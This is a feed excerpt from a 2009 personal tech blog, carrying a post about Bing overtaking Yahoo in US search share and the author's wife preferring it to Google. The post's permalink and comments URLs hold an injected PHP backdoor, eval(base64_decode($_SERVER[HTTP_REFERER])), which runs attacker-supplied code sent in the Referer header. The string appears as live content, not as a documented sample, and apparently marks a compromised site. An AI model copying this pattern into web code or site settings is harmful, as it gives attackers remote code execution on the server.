The Pareto Principle » Internet http://www.volkerwill.com About the Internet, Hardware, Software and other half baked Things. Thu, 14 Jan 2010 17:10:15 +0000 http://wordpress.org/?v=2.8.2 en hourly 1 Bing scores – not only with my Wife http://www.volkerwill.com/2009/06/05/bing-scores-not-only-with-my-wife/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.volkerwill.com/2009/06/05/bing-scores-not-only-with-my-wife/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 05 Jun 2009 22:55:04 +0000 Volker http://www.volkerwill.com/2009/06/05/bing-scores-not-only-with-my-wife/ Image of Bing logo

TechCrunch talks about it. Twitter is full of Tweets about it. The world talks about it. Bing. The new decision engine from Microsoft. I was not surprised to find this on TechCrunch:

The company’s (StatCounter) analysis for Thursday finds that in the U.S. Bing overtook Yahoo to take second place on 16.28%, with Yahoo Search currently at 10.22%. For the sake of comparison: Google’s U.S. market share is pegged at 71.47%, and its worldwide share at a whopping 87.62% (vs. 5.62% for Bing and 5.13% for Yahoo).

What surprised my though was my wife. While she continuously surprises me every day, this time it was a particular interesting surprise. It went like this:

Can I have Bing up here?

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Their website is so much nicer and have you seen this? Lots of recommendations for related searches and even links to a buying guide and grill types and stuff. I love it. Can you make it my search engine, please?

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Who could say no? Certainly not me! We’ve never talked about it other than me mentioning the fact that Microsoft has launched a new search engine and that she should take a look and try it.

My wife is your typical PC user and most of the stereotypes you might have heard over the years apply. She calls me when something seems to be broken. She waits until I come home when she does not know what to do when a dialog box pops up and asks questions an average end user is completely overburdened with. And it goes on. I scored big time when I installed Win7 beta and later RC on her MacBook. But she lives on the Internet and most of her Internet experience starts with Google.

To make a long story short and to answer the TechCrunch question:

Are we witnessing the birth of the first true Google challenger or is this nothing but launch momentum bound to fade away?

At least from my experience last night, this has nothing to do with forcing a search engine onto people or with the heat of the moment, I am convinced Microsoft has (finally) found a way into the consumer’s search decision world. We use it at work for quite some time and I love it.

What’s your experience? What do you (dis-)like about bing? Have you or anyone you know switched? Find out more about bing and The Sound of Found.

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